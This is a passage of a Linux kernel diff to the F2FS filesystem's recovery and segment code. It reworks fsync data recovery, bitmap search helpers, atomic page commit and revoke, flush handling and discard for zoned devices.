find_fsync_dnodes(sbi, &inode_list); - if (err) + if (err || list_empty(&inode_list)) goto out; - if (list_empty(&inode_list)) + if (check_only) { + ret = 1; goto out; + } need_writecp = true; /* step #2: recover data */ - err = recover_data(sbi, &inode_list, CURSEG_WARM_NODE); + err = recover_data(sbi, &inode_list, &dir_list); if (!err) f2fs_bug_on(sbi, !list_empty(&inode_list)); out: destroy_fsync_dnodes(&inode_list); - kmem_cache_destroy(fsync_entry_slab); /* truncate meta pages to be used by the recovery */ truncate_inode_pages_range(META_MAPPING(sbi), - (loff_t)MAIN_BLKADDR(sbi) << PAGE_CACHE_SHIFT, -1); + (loff_t)MAIN_BLKADDR(sbi) << PAGE_SHIFT, -1); if (err) { truncate_inode_pages(NODE_MAPPING(sbi), 0); @@ -573,31 +602,20 @@ int recover_fsync_data(struct f2fs_sb_info *sbi) } clear_sbi_flag(sbi, SBI_POR_DOING); - if (err) { - bool invalidate = false; - - if (discard_next_dnode(sbi, blkaddr)) - invalidate = true; - - /* Flush all the NAT/SIT pages */ - while (get_pages(sbi, F2FS_DIRTY_META)) - sync_meta_pages(sbi, META, LONG_MAX); + if (err) + set_ckpt_flags(sbi, CP_ERROR_FLAG); + mutex_unlock(&sbi->cp_mutex); - /* invalidate temporary meta page */ - if (invalidate) - invalidate_mapping_pages(META_MAPPING(sbi), - blkaddr, blkaddr); + /* let's drop all the directory inodes for clean checkpoint */ + destroy_fsync_dnodes(&dir_list); - set_ckpt_flags(sbi->ckpt, CP_ERROR_FLAG); - mutex_unlock(&sbi->cp_mutex); - } else if (need_writecp) { + if (!err && need_writecp) { struct cp_control cpc = { .reason = CP_RECOVERY, }; - mutex_unlock(&sbi->cp_mutex); - write_checkpoint(sbi, &cpc); - } else { - mutex_unlock(&sbi->cp_mutex); + err = write_checkpoint(sbi, &cpc); } - return err; + + kmem_cache_destroy(fsync_entry_slab); + return ret ? ret: err; } diff --git a/fs/f2fs/segment.c b/fs/f2fs/segment.c index 0072ec952d469..2f754eecfa2cf 100644 --- a/fs/f2fs/segment.c +++ b/fs/f2fs/segment.c @@ -145,6 +145,7 @@ static inline unsigned long __reverse_ffs(unsigned long word) /* * __find_rev_next(_zero)_bit is copied from lib/find_next_bit.c because * f2fs_set_bit makes MSB and LSB reversed in a byte. + * @size must be integral times of unsigned long. * Example: * MSB <--> LSB * f2fs_set_bit(0, bitmap) => 1000 0000 @@ -154,94 +155,73 @@ static unsigned long __find_rev_next_bit(const unsigned long *addr, unsigned long size, unsigned long offset) { const unsigned long *p = addr + BIT_WORD(offset); - unsigned long result = offset & ~(BITS_PER_LONG - 1); + unsigned long result = size; unsigned long tmp; if (offset >= size) return size; - size -= result; + size -= (offset & ~(BITS_PER_LONG - 1)); offset %= BITS_PER_LONG; - if (!offset) - goto aligned; - - tmp = __reverse_ulong((unsigned char *)p); - tmp &= ~0UL >> offset; - - if (size < BITS_PER_LONG) - goto found_first; - if (tmp) - goto found_middle; - - size -= BITS_PER_LONG; - result += BITS_PER_LONG; - p++; -aligned: - while (size & ~(BITS_PER_LONG-1)) { + + while (1) { + if (*p == 0) + goto pass; + tmp = __reverse_ulong((unsigned char *)p); + + tmp &= ~0UL >> offset; + if (size < BITS_PER_LONG) + tmp &= (~0UL << (BITS_PER_LONG - size)); if (tmp) - goto found_middle; - result += BITS_PER_LONG; + goto found; +pass: + if (size <= BITS_PER_LONG) + break; size -= BITS_PER_LONG; + offset = 0; p++; } - if (!size) - return result; - - tmp = __reverse_ulong((unsigned char *)p); -found_first: - tmp &= (~0UL << (BITS_PER_LONG - size)); - if (!tmp) /* Are any bits set? */ - return result + size; /* Nope. */ -found_middle: - return result + __reverse_ffs(tmp); + return result; +found: + return result - size + __reverse_ffs(tmp); } static unsigned long __find_rev_next_zero_bit(const unsigned long *addr, unsigned long size, unsigned long offset) { const unsigned long *p = addr + BIT_WORD(offset); - unsigned long result = offset & ~(BITS_PER_LONG - 1); + unsigned long result = size; unsigned long tmp; if (offset >= size) return size; - size -= result; + size -= (offset & ~(BITS_PER_LONG - 1)); offset %= BITS_PER_LONG; - if (!offset) - goto aligned; - - tmp = __reverse_ulong((unsigned char *)p); - tmp |= ~((~0UL << offset) >> offset); - - if (size < BITS_PER_LONG) - goto found_first; - if (tmp != ~0UL) - goto found_middle; - - size -= BITS_PER_LONG; - result += BITS_PER_LONG; - p++; -aligned: - while (size & ~(BITS_PER_LONG - 1)) { + + while (1) { + if (*p == ~0UL) + goto pass; + tmp = __reverse_ulong((unsigned char *)p); + + if (offset) + tmp |= ~0UL << (BITS_PER_LONG - offset); + if (size < BITS_PER_LONG) + tmp |= ~0UL >> size; if (tmp != ~0UL) - goto found_middle; - result += BITS_PER_LONG; + goto found; +pass: + if (size <= BITS_PER_LONG) + break; size -= BITS_PER_LONG; + offset = 0; p++; } - if (!size) - return result; - - tmp = __reverse_ulong((unsigned char *)p); -found_first: - tmp |= ~(~0UL << (BITS_PER_LONG - size)); - if (tmp == ~0UL) /* Are any bits zero? */ - return result + size; /* Nope. */ -found_middle: - return result + __reverse_ffz(tmp); + return result; +found: + return result - size + __reverse_ffz(tmp); } void register_inmem_page(struct inode *inode, struct page *page) @@ -270,69 +250,150 @@ void register_inmem_page(struct inode *inode, struct page *page) trace_f2fs_register_inmem_page(page, INMEM); } -int commit_inmem_pages(struct inode *inode, bool abort) +static int __revoke_inmem_pages(struct inode *inode, + struct list_head *head, bool drop, bool recover) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct inmem_pages *cur, *tmp; + int err = 0; + + list_for_each_entry_safe(cur, tmp, head, list) { + struct page *page = cur->page; + + if (drop) + trace_f2fs_commit_inmem_page(page, INMEM_DROP); + + lock_page(page); + + if (recover) { + struct dnode_of_data dn; + struct node_info ni; + + trace_f2fs_commit_inmem_page(page, INMEM_REVOKE); + + set_new_dnode(&dn, inode, NULL, NULL, 0); + if (get_dnode_of_data(&dn, page->index, LOOKUP_NODE)) { + err = -EAGAIN; + goto next; + } + get_node_info(sbi, dn.nid, &ni); + f2fs_replace_block(sbi, &dn, dn.data_blkaddr, + cur->old_addr, ni.version, true, true); + f2fs_put_dnode(&dn); + } +next: + /* we don't need to invalidate this in the sccessful status */ + if (drop || recover) + ClearPageUptodate(page); + set_page_private(page, 0); + ClearPagePrivate(page); + f2fs_put_page(page, 1); + + list_del(&cur->list); + kmem_cache_free(inmem_entry_slab, cur); + dec_page_count(F2FS_I_SB(inode), F2FS_INMEM_PAGES); + } + return err; +} + +void drop_inmem_pages(struct inode *inode) +{ + struct f2fs_inode_info *fi = F2FS_I(inode); + + clear_inode_flag(inode, FI_ATOMIC_FILE); + + mutex_lock(&fi->inmem_lock); + __revoke_inmem_pages(inode, &fi->inmem_pages, true, false); + mutex_unlock(&fi->inmem_lock); +} + +static int __commit_inmem_pages(struct inode *inode, + struct list_head *revoke_list) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct f2fs_inode_info *fi = F2FS_I(inode); struct inmem_pages *cur, *tmp; - bool submit_bio = false; struct f2fs_io_info fio = { .sbi = sbi, .type = DATA, .rw = WRITE_SYNC | REQ_PRIO, .encrypted_page = NULL, }; + bool submit_bio = false; int err = 0; - /* - * The abort is true only when f2fs_evict_inode is called. - * Basically, the f2fs_evict_inode doesn't produce any data writes, so - * that we don't need to call f2fs_balance_fs. - * Otherwise, f2fs_gc in f2fs_balance_fs can wait forever until this - * inode becomes free by iget_locked in f2fs_iget. - */ - if (!abort) { - f2fs_balance_fs(sbi); - f2fs_lock_op(sbi); - } - - mutex_lock(&fi->inmem_lock); list_for_each_entry_safe(cur, tmp, &fi->inmem_pages, list) { - lock_page(cur->page); - if (!abort) { - if (cur->page->mapping == inode->i_mapping) { - set_page_dirty(cur->page); - f2fs_wait_on_page_writeback(cur->page, DATA); - if (clear_page_dirty_for_io(cur->page)) - inode_dec_dirty_pages(inode); - trace_f2fs_commit_inmem_page(cur->page, INMEM); - fio.page = cur->page; - err = do_write_data_page(&fio); - if (err) { - unlock_page(cur->page); - break; - } - clear_cold_data(cur->page); - submit_bio = true; + struct page *page = cur->page; + + lock_page(page); + if (page->mapping == inode->i_mapping) { + trace_f2fs_commit_inmem_page(page, INMEM); + + set_page_dirty(page); + f2fs_wait_on_page_writeback(page, DATA, true); + if (clear_page_dirty_for_io(page)) { + inode_dec_dirty_pages(inode); + remove_dirty_inode(inode); } - } else { - trace_f2fs_commit_inmem_page(cur->page, INMEM_DROP); + + fio.page = page; + err = do_write_data_page(&fio); + if (err) { + unlock_page(page); + break; + } + + /* record old blkaddr for revoking */ + cur->old_addr = fio.old_blkaddr; + + submit_bio = true; } - set_page_private(cur->page, 0); - ClearPagePrivate(cur->page); - f2fs_put_page(cur->page, 1); + unlock_page(page); + list_move_tail(&cur->list, revoke_list); + } - list_del(&cur->list); - kmem_cache_free(inmem_entry_slab, cur); - dec_page_count(F2FS_I_SB(inode), F2FS_INMEM_PAGES); + if (submit_bio) + f2fs_submit_merged_bio_cond(sbi, inode, NULL, 0, DATA, WRITE); + + if (!err) + __revoke_inmem_pages(inode, revoke_list, false, false); + + return err; +} + +int commit_inmem_pages(struct inode *inode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct f2fs_inode_info *fi = F2FS_I(inode); + struct list_head revoke_list; + int err; + + INIT_LIST_HEAD(&revoke_list); + f2fs_balance_fs(sbi, true); + f2fs_lock_op(sbi); + + mutex_lock(&fi->inmem_lock); + err = __commit_inmem_pages(inode, &revoke_list); + if (err) { + int ret; + /* + * try to revoke all committed pages, but still we could fail + * due to no memory or other reason, if that happened, EAGAIN + * will be returned, which means in such case, transaction is + * already not integrity, caller should use journal to do the + * recovery or rewrite & commit last transaction. For other + * error number, revoking was done by filesystem itself. + */ + ret = __revoke_inmem_pages(inode, &revoke_list, false, true); + if (ret) + err = ret; + + /* drop all uncommitted pages */ + __revoke_inmem_pages(inode, &fi->inmem_pages, true, false); } mutex_unlock(&fi->inmem_lock); - if (!abort) { - f2fs_unlock_op(sbi); - if (submit_bio) - f2fs_submit_merged_bio(sbi, DATA, WRITE); - } + f2fs_unlock_op(sbi); return err; } @@ -340,15 +401,27 @@ int commit_inmem_pages(struct inode *inode, bool abort) * This function balances dirty node and dentry pages. * In addition, it controls garbage collection. */ -void f2fs_balance_fs(struct f2fs_sb_info *sbi) +void f2fs_balance_fs(struct f2fs_sb_info *sbi, bool need) { +#ifdef CONFIG_F2FS_FAULT_INJECTION + if (time_to_inject(sbi, FAULT_CHECKPOINT)) + f2fs_stop_checkpoint(sbi, false); +#endif + + if (!need) + return; + + /* balance_fs_bg is able to be pending */ + if (excess_cached_nats(sbi)) + f2fs_balance_fs_bg(sbi); + /* * We should do GC or end up with checkpoint, if there are so many dirty * dir/node pages without enough free segments. */ - if (has_not_enough_free_secs(sbi, 0)) { + if (has_not_enough_free_secs(sbi, 0, 0)) { mutex_lock(&sbi->gc_mutex); - f2fs_gc(sbi, false); + f2fs_gc(sbi, false, false); } } @@ -363,14 +436,55 @@ void f2fs_balance_fs_bg(struct f2fs_sb_info *sbi) try_to_free_nats(sbi, NAT_ENTRY_PER_BLOCK); if (!available_free_memory(sbi, FREE_NIDS)) - try_to_free_nids(sbi, NAT_ENTRY_PER_BLOCK * FREE_NID_PAGES); + try_to_free_nids(sbi, MAX_FREE_NIDS); + else + build_free_nids(sbi, false); + + if (!is_idle(sbi)) + return; /* checkpoint is the only way to shrink partial cached entries */ if (!available_free_memory(sbi, NAT_ENTRIES) || - excess_prefree_segs(sbi) || !available_free_memory(sbi, INO_ENTRIES) || - jiffies > sbi->cp_expires) + excess_prefree_segs(sbi) || + excess_dirty_nats(sbi) || + f2fs_time_over(sbi, CP_TIME)) { + if (test_opt(sbi, DATA_FLUSH)) { + struct blk_plug plug; + + blk_start_plug(&plug); + sync_dirty_inodes(sbi, FILE_INODE); + blk_finish_plug(&plug); + } f2fs_sync_fs(sbi->sb, true); + stat_inc_bg_cp_count(sbi->stat_info); + } +} + +static int __submit_flush_wait(struct block_device *bdev) +{ + struct bio *bio = f2fs_bio_alloc(0); + int ret; + + bio->bi_bdev = bdev; + ret = submit_bio_wait(WRITE_FLUSH, bio); + bio_put(bio); + return ret; +} + +static int submit_flush_wait(struct f2fs_sb_info *sbi) +{ + int ret = __submit_flush_wait(sbi->sb->s_bdev); + int i; + + if (sbi->s_ndevs && !ret) { + for (i = 1; i < sbi->s_ndevs; i++) { + ret = __submit_flush_wait(FDEV(i).bdev); + if (ret) + break; + } + } + return ret; } static int issue_flush_thread(void *data) @@ -383,24 +497,18 @@ static int issue_flush_thread(void *data) return 0; if (!llist_empty(&fcc->issue_list)) { - struct bio *bio; struct flush_cmd *cmd, *next; int ret; - bio = f2fs_bio_alloc(0); - fcc->dispatch_list = llist_del_all(&fcc->issue_list); fcc->dispatch_list = llist_reverse_order(fcc->dispatch_list); - bio->bi_bdev = sbi->sb->s_bdev; - ret = submit_bio_wait(WRITE_FLUSH, bio); - + ret = submit_flush_wait(sbi); llist_for_each_entry_safe(cmd, next, fcc->dispatch_list, llnode) { cmd->ret = ret; complete(&cmd->wait); } - bio_put(bio); fcc->dispatch_list = NULL; } @@ -420,24 +528,30 @@ int f2fs_issue_flush(struct f2fs_sb_info *sbi) if (test_opt(sbi, NOBARRIER)) return 0; - if (!test_opt(sbi, FLUSH_MERGE)) { - struct bio *bio = f2fs_bio_alloc(0); + if (!test_opt(sbi, FLUSH_MERGE) || !atomic_read(&fcc->submit_flush)) { int ret; - bio->bi_bdev = sbi->sb->s_bdev; - ret = submit_bio_wait(WRITE_FLUSH, bio); - bio_put(bio); + atomic_inc(&fcc->submit_flush); + ret = submit_flush_wait(sbi); + atomic_dec(&fcc->submit_flush); return ret; } init_completion(&cmd.wait); + atomic_inc(&fcc->submit_flush); llist_add(&cmd.llnode, &fcc->issue_list); if (!fcc->dispatch_list) wake_up(&fcc->flush_wait_queue); - wait_for_completion(&cmd.wait); + if (fcc->f2fs_issue_flush) { + wait_for_completion(&cmd.wait); + atomic_dec(&fcc->submit_flush); + } else { + llist_del_all(&fcc->issue_list); + atomic_set(&fcc->submit_flush, 0); + } return cmd.ret; } @@ -448,12 +562,19 @@ int create_flush_cmd_control(struct f2fs_sb_info *sbi) struct flush_cmd_control *fcc; int err = 0; + if (SM_I(sbi)->cmd_control_info) { + fcc = SM_I(sbi)->cmd_control_info; + goto init_thread; + } + fcc = kzalloc(sizeof(struct flush_cmd_control), GFP_KERNEL); if (!fcc) return -ENOMEM; + atomic_set(&fcc->submit_flush, 0); init_waitqueue_head(&fcc->flush_wait_queue); init_llist_head(&fcc->issue_list); SM_I(sbi)->cmd_control_info = fcc; +init_thread: fcc->f2fs_issue_flush = kthread_run(issue_flush_thread, sbi, "f2fs_flush-%u:%u", MAJOR(dev), MINOR(dev)); if (IS_ERR(fcc->f2fs_issue_flush)) { @@ -466,14 +587,20 @@ int create_flush_cmd_control(struct f2fs_sb_info *sbi) return err; } -void destroy_flush_cmd_control(struct f2fs_sb_info *sbi) +void destroy_flush_cmd_control(struct f2fs_sb_info *sbi, bool free) { struct flush_cmd_control *fcc = SM_I(sbi)->cmd_control_info; - if (fcc && fcc->f2fs_issue_flush) - kthread_stop(fcc->f2fs_issue_flush); - kfree(fcc); - SM_I(sbi)->cmd_control_info = NULL; + if (fcc && fcc->f2fs_issue_flush) { + struct task_struct *flush_thread = fcc->f2fs_issue_flush; + + fcc->f2fs_issue_flush = NULL; + kthread_stop(flush_thread); + } + if (free) { + kfree(fcc); + SM_I(sbi)->cmd_control_info = NULL; + } } static void __locate_dirty_segment(struct f2fs_sb_info *sbi, unsigned int segno, @@ -552,46 +679,107 @@ static void locate_dirty_segment(struct f2fs_sb_info *sbi, unsigned int segno) mutex_unlock(&dirty_i->seglist_lock); } -static int f2fs_issue_discard(struct f2fs_sb_info *sbi, - block_t blkstart, block_t blklen) +#ifdef CONFIG_BLK_DEV_ZONED +static int __f2fs_issue_discard_zone(struct f2fs_sb_info *sbi, + struct block_device *bdev, block_t blkstart, block_t blklen) +{ + sector_t nr_sects = SECTOR_FROM_BLOCK(blklen); + sector_t sector; + int devi = 0; + + if (sbi->s_ndevs) { + devi = f2fs_target_device_index(sbi, blkstart); + blkstart -= FDEV(devi).start_blk; + } + sector = SECTOR_FROM_BLOCK(blkstart); + + if (sector & (bdev_zone_size(bdev) - 1) || + nr_sects != bdev_zone_size(bdev)) { + f2fs_msg(sbi->sb, KERN_INFO, + "(%d) %s: Unaligned discard attempted (block %x + %x)", + devi, sbi->s_ndevs ? FDEV(devi).path: "", + blkstart, blklen); + return -EIO; + } + + /* + * We need to know the type of the zone: for conventional zones, + * use regular discard if the drive supports it. For sequential + * zones, reset the zone write pointer. + */ + switch (get_blkz_type(sbi, bdev, blkstart)) { + + case BLK_ZONE_TYPE_CONVENTIONAL: + if (!blk_queue_discard(bdev_get_queue(bdev))) + return 0; + return blkdev_issue_discard(bdev, sector, nr_sects, + GFP_NOFS, 0); + case BLK_ZONE_TYPE_SEQWRITE_REQ: + case BLK_ZONE_TYPE_SEQWRITE_PREF: + trace_f2fs_issue_reset_zone(sbi->sb, blkstart); + return blkdev_reset_zones(bdev, sector, + nr_sects, GFP_NOFS); + default: + /* Unknown zone type: broken device ? */ + return -EIO; + } +} +#endif + +static int __issue_discard_async(struct f2fs_sb_info *sbi, + struct block_device *bdev, block_t blkstart, block_t blklen) { sector_t start = SECTOR_FROM_BLOCK(blkstart); sector_t len = SECTOR_FROM_BLOCK(blklen); + +#ifdef CONFIG_BLK_DEV_ZONED + if (f2fs_sb_mounted_blkzoned(sbi->sb) && + bdev_zoned_model(bdev) != BLK_ZONED_NONE) + return __f2fs_issue_discard_zone(sbi, bdev, blkstart, blklen); +#endif + return blkdev_issue_discard(bdev, start, len, GFP_NOFS, 0); +} + +static int f2fs_issue_discard(struct f2fs_sb_info *sbi, + block_t blkstart, block_t blklen) +{ + sector_t start = blkstart, len = 0; + struct block_device *bdev; struct seg_entry *se; unsigned int offset; block_t i; + int err = 0; + + bdev = f2fs_target_device(sbi, blkstart, NULL); + + for (i = blkstart; i < blkstart + blklen; i++, len++) { + if (i != start) { + struct block_device *bdev2 = + f2fs_target_device(sbi, i, NULL); + + if (bdev2 != bdev) { + err = __issue_discard_async(sbi, bdev, + start, len); + if (err) + return err; + bdev = bdev2; + start = i; + len = 0; + } + } - for (i = blkstart; i < blkstart + blklen; i++) { se = get_seg_entry(sbi, GET_SEGNO(sbi, i)); offset = GET_BLKOFF_FROM_SEG0(sbi, i); if (!f2fs_test_and_set_bit(offset, se->discard_map)) sbi->discard_blks--; } - trace_f2fs_issue_discard(sbi->sb, blkstart, blklen); - return blkdev_issue_discard(sbi->sb->s_bdev, start, len, GFP_NOFS, 0); -} - -bool discard_next_dnode(struct f2fs_sb_info *sbi, block_t blkaddr) -{ - int err = -ENOTSUPP; - - if (test_opt(sbi, DISCARD)) { - struct seg_entry *se = get_seg_entry(sbi, - GET_SEGNO(sbi, blkaddr)); - unsigned int offset = GET_BLKOFF_FROM_SEG0(sbi, blkaddr); - - if (f2fs_test_bit(offset, se->discard_map)) - return false; - err = f2fs_issue_discard(sbi, blkaddr, 1); - } + if (len) + err = __issue_discard_async(sbi, bdev, start, len); - if (err) { - update_meta_page(sbi, NULL, blkaddr); - return true; - } - return false; + trace_f2fs_issue_discard(sbi->sb, blkstart, blklen); + return err; } static void __add_discard_entry(struct f2fs_sb_info *sbi, @@ -632,7 +820,7 @@ static void add_discard_addrs(struct f2fs_sb_info *sbi, struct cp_control *cpc) bool force = (cpc->reason == CP_DISCARD); int i; - if (se->valid_blocks == max_blocks) + if (se->valid_blocks == max_blocks || !f2fs_discard_en(sbi)) return; if (!force) { @@ -652,6 +840,10 @@ static void add_discard_addrs(struct f2fs_sb_info *sbi, struct cp_control *cpc) break; end = __find_rev_next_zero_bit(dmap, max_blocks, start + 1); + if (force && start && end != max_blocks + && (end - start) < cpc->trim_minlen) + continue; + __add_discard_entry(sbi, cpc, se, start, end); } } @@ -689,6 +881,8 @@ void clear_prefree_segments(struct f2fs_sb_info *sbi, struct cp_control *cpc) struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); unsigned long *prefree_map = dirty_i->dirty_segmap[PRE]; unsigned int start = 0, end = -1; + unsigned int secno, start_segno; + bool force = (cpc->reason == CP_DISCARD); mutex_lock(&dirty_i->seglist_lock); @@ -705,17 +899,31 @@ void clear_prefree_segments(struct f2fs_sb_info *sbi, struct cp_control *cpc) dirty_i->nr_dirty[PRE] -= end - start; - if (!test_opt(sbi, DISCARD)) + if (force || !test_opt(sbi, DISCARD)) continue; - f2fs_issue_discard(sbi, START_BLOCK(sbi, start), + if (!test_opt(sbi, LFS) || sbi->segs_per_sec == 1) { + f2fs_issue_discard(sbi, START_BLOCK(sbi, start), (end - start) << sbi->log_blocks_per_seg); + continue; + } +next: + secno = GET_SECNO(sbi, start); + start_segno = secno * sbi->segs_per_sec; + if (!IS_CURSEC(sbi, secno) && + !get_valid_blocks(sbi, start, sbi->segs_per_sec)) + f2fs_issue_discard(sbi, START_BLOCK(sbi, start_segno), + sbi->segs_per_sec << sbi->log_blocks_per_seg); + + start = start_segno + sbi->segs_per_sec; + if (start < end) + goto next; } mutex_unlock(&dirty_i->seglist_lock); /* send small discards */ list_for_each_entry_safe(entry, this, head, list) { - if (cpc->reason == CP_DISCARD && entry->len < cpc->trim_minlen) + if (force && entry->len < cpc->trim_minlen) goto skip; f2fs_issue_discard(sbi, entry->blkaddr, entry->len); cpc->trimmed += entry->len; @@ -770,12 +978,14 @@ static void update_sit_entry(struct f2fs_sb_info *sbi, block_t blkaddr, int del) if (del > 0) { if (f2fs_test_and_set_bit(offset, se->cur_valid_map)) f2fs_bug_on(sbi, 1); - if (!f2fs_test_and_set_bit(offset, se->discard_map)) + if (f2fs_discard_en(sbi) && + !f2fs_test_and_set_bit(offset, se->discard_map)) sbi->discard_blks--; } else { if (!f2fs_test_and_clear_bit(offset, se->cur_valid_map)) f2fs_bug_on(sbi, 1); - if (f2fs_test_and_clear_bit(offset, se->discard_map)) + if (f2fs_discard_en(sbi) && + f2fs_test_and_clear_bit(offset, se->discard_map)) sbi->discard_blks++; } if (!f2fs_test_bit(offset, se->ckpt_valid_map)) @@ -876,12 +1086,12 @@ int npages_for_summary_flush(struct f2fs_sb_info *sbi, bool for_ra) } } - sum_in_page = (PAGE_CACHE_SIZE - 2 * SUM_JOURNAL_SIZE - + sum_in_page = (PAGE_SIZE - 2 * SUM_JOURNAL_SIZE - SUM_FOOTER_SIZE) / SUMMARY_SIZE; if (valid_sum_count <= sum_in_page) return 1; else if ((valid_sum_count - sum_in_page) <= - (PAGE_CACHE_SIZE - SUM_FOOTER_SIZE) / SUMMARY_SIZE) + (PAGE_SIZE - SUM_FOOTER_SIZE) / SUMMARY_SIZE) return 2; return 3; } @@ -900,9 +1110,9 @@ void update_meta_page(struct f2fs_sb_info *sbi, void *src, block_t blk_addr) void *dst = page_address(page); if (src) - memcpy(dst, src, PAGE_CACHE_SIZE); + memcpy(dst, src, PAGE_SIZE); else - memset(dst, 0, PAGE_CACHE_SIZE); + memset(dst, 0, PAGE_SIZE); set_page_dirty(page); f2fs_put_page(page, 1); } @@ -913,6 +1123,31 @@ static void write_sum_page(struct f2fs_sb_info *sbi, update_meta_page(sbi, (void *)sum_blk, blk_addr); } +static void write_current_sum_page(struct f2fs_sb_info *sbi, + int type, block_t blk_addr) +{ + struct curseg_info *curseg = CURSEG_I(sbi, type); + struct page *page = grab_meta_page(sbi, blk_addr); + struct f2fs_summary_block *src = curseg->sum_blk; + struct f2fs_summary_block *dst; + + dst = (struct f2fs_summary_block *)page_address(page); + + mutex_lock(&curseg->curseg_mutex); + + down_read(&curseg->journal_rwsem); + memcpy(&dst->journal, curseg->journal, SUM_JOURNAL_SIZE); + up_read(&curseg->journal_rwsem); + + memcpy(dst->entries, src->entries, SUM_ENTRY_SIZE); + memcpy(&dst->footer, &src->footer, SUM_FOOTER_SIZE); + + mutex_unlock(&curseg->curseg_mutex); + + set_page_dirty(page); + f2fs_put_page(page, 1); +} + static int is_next_segment_free(struct f2fs_sb_info *sbi, int type) { struct curseg_info *curseg = CURSEG_I(sbi, type); @@ -945,9 +1180,8 @@ static void get_new_segment(struct f2fs_sb_info *sbi, if (!new_sec && ((*newseg + 1) % sbi->segs_per_sec)) { segno = find_next_zero_bit(free_i->free_segmap, - MAIN_SEGS(sbi), *newseg + 1); - if (segno - *newseg < sbi->segs_per_sec - - (*newseg % sbi->segs_per_sec)) + (hint + 1) * sbi->segs_per_sec, *newseg + 1); + if (segno < (hint + 1) * sbi->segs_per_sec) goto got_it; } find_other_zone: @@ -1130,7 +1364,7 @@ static int get_ssr_segment(struct f2fs_sb_info *sbi, int type) struct curseg_info *curseg = CURSEG_I(sbi, type); const struct victim_selection *v_ops = DIRTY_I(sbi)->v_ops; - if (IS_NODESEG(type) || !has_not_enough_free_secs(sbi, 0)) + if (IS_NODESEG(type) || !has_not_enough_free_secs(sbi, 0, 0)) return v_ops->get_victim(sbi, &(curseg)->next_segno, BG_GC, type, SSR); @@ -1165,22 +1399,21 @@ static void allocate_segment_by_default(struct f2fs_sb_info *sbi, stat_inc_seg_type(sbi, curseg); } -static void __allocate_new_segments(struct f2fs_sb_info *sbi, int type) -{ - struct curseg_info *curseg = CURSEG_I(sbi, type); - unsigned int old_segno; - - old_segno = curseg->segno; - SIT_I(sbi)->s_ops->allocate_segment(sbi, type, true); - locate_dirty_segment(sbi, old_segno); -} - void allocate_new_segments(struct f2fs_sb_info *sbi) { + struct curseg_info *curseg; + unsigned int old_segno; int i; - for (i = CURSEG_HOT_DATA; i <= CURSEG_COLD_DATA; i++) - __allocate_new_segments(sbi, i); + if (test_opt(sbi, LFS)) + return; + + for (i = CURSEG_HOT_DATA; i <= CURSEG_COLD_DATA; i++) { + curseg = CURSEG_I(sbi, i); + old_segno = curseg->segno; + SIT_I(sbi)->s_ops->allocate_segment(sbi, i, true); + locate_dirty_segment(sbi, old_segno); + } } static const struct segment_allocation default_salloc_ops = { @@ -1193,6 +1426,7 @@ int f2fs_trim_fs(struct f2fs_sb_info *sbi, struct fstrim_range *range) __u64 end = start + F2FS_BYTES_TO_BLK(range->len) - 1; unsigned int start_segno, end_segno; struct cp_control cpc; + int err = 0; if (start >= MAX_BLKADDR(sbi) || range->len < sbi->blocksize) return -EINVAL; @@ -1201,6 +1435,12 @@ int f2fs_trim_fs(struct f2fs_sb_info *sbi, struct fstrim_range *range) if (end <= MAIN_BLKADDR(sbi)) goto out; + if (is_sbi_flag_set(sbi, SBI_NEED_FSCK)) { + f2fs_msg(sbi->sb, KERN_WARNING, + "Found FS corruption, run fsck to fix."); + goto out; + } + /* start/end segment number in main_area */ start_segno = (start <= MAIN_BLKADDR(sbi)) ? 0 : GET_SEGNO(sbi, start); end_segno = (end >= MAX_BLKADDR(sbi)) ? MAIN_SEGS(sbi) - 1 : @@ -1223,12 +1463,16 @@ int f2fs_trim_fs(struct f2fs_sb_info *sbi, struct fstrim_range *range) sbi->segs_per_sec) - 1, end_segno); mutex_lock(&sbi->gc_mutex); - write_checkpoint(sbi, &cpc); + err = write_checkpoint(sbi, &cpc); mutex_unlock(&sbi->gc_mutex); + if (err) + break; + + schedule(); } out: range->len = F2FS_BLK_TO_BYTES(cpc.trimmed); - return 0; + return err; } static bool __has_curseg_space(struct f2fs_sb_info *sbi, int type) @@ -1303,21 +1547,11 @@ void allocate_data_block(struct f2fs_sb_info *sbi, struct page *page, struct f2fs_summary *sum, int type) { struct sit_info *sit_i = SIT_I(sbi); - struct curseg_info *curseg; - bool direct_io = (type == CURSEG_DIRECT_IO); - - type = direct_io ? CURSEG_WARM_DATA : type; - - curseg = CURSEG_I(sbi, type); + struct curseg_info *curseg = CURSEG_I(sbi, type); mutex_lock(&curseg->curseg_mutex); mutex_lock(&sit_i->sentry_lock); - /* direct_io'ed data is aligned to the segment for better performance */ - if (direct_io && curseg->next_blkoff && - !has_not_enough_free_secs(sbi, 0)) - __allocate_new_segments(sbi, type); - *new_blkaddr = NEXT_FREE_BLKADDR(sbi, curseg); /* @@ -1351,11 +1585,17 @@ static void do_write_page(struct f2fs_summary *sum, struct f2fs_io_info *fio) { int type = __get_segment_type(fio->page, fio->type); - allocate_data_block(fio->sbi, fio->page, fio->blk_addr, - &fio->blk_addr, sum, type); + if (fio->type == NODE || fio->type == DATA) + mutex_lock(&fio->sbi->wio_mutex[fio->type]); + + allocate_data_block(fio->sbi, fio->page, fio->old_blkaddr, + &fio->new_blkaddr, sum, type); /* writeout dirty page into bdev */ f2fs_submit_page_mbio(fio); + + if (fio->type == NODE || fio->type == DATA) + mutex_unlock(&fio->sbi->wio_mutex[fio->type]); } void write_meta_page(struct f2fs_sb_info *sbi, struct page *page) @@ -1364,7 +1604,8 @@ void write_meta_page(struct f2fs_sb_info *sbi, struct page *page) .sbi = sbi, .type = META, .rw = WRITE_SYNC | REQ_META | REQ_PRIO, - .blk_addr = page->index, + .old_blkaddr = page->index, + .new_blkaddr = page->index, .page = page, .encrypted_page = NULL, }; @@ -1394,19 +1635,19 @@ void write_data_page(struct dnode_of_data *dn, struct f2fs_io_info *fio) get_node_info(sbi, dn->nid, &ni); set_summary(&sum, dn->nid, dn->ofs_in_node, ni.version); do_write_page(&sum, fio); - dn->data_blkaddr = fio->blk_addr; + f2fs_update_data_blkaddr(dn, fio->new_blkaddr); } void rewrite_data_page(struct f2fs_io_info *fio) { + fio->new_blkaddr = fio->old_blkaddr; stat_inc_inplace_blocks(fio->sbi); f2fs_submit_page_mbio(fio); } -static void __f2fs_replace_block(struct f2fs_sb_info *sbi, - struct f2fs_summary 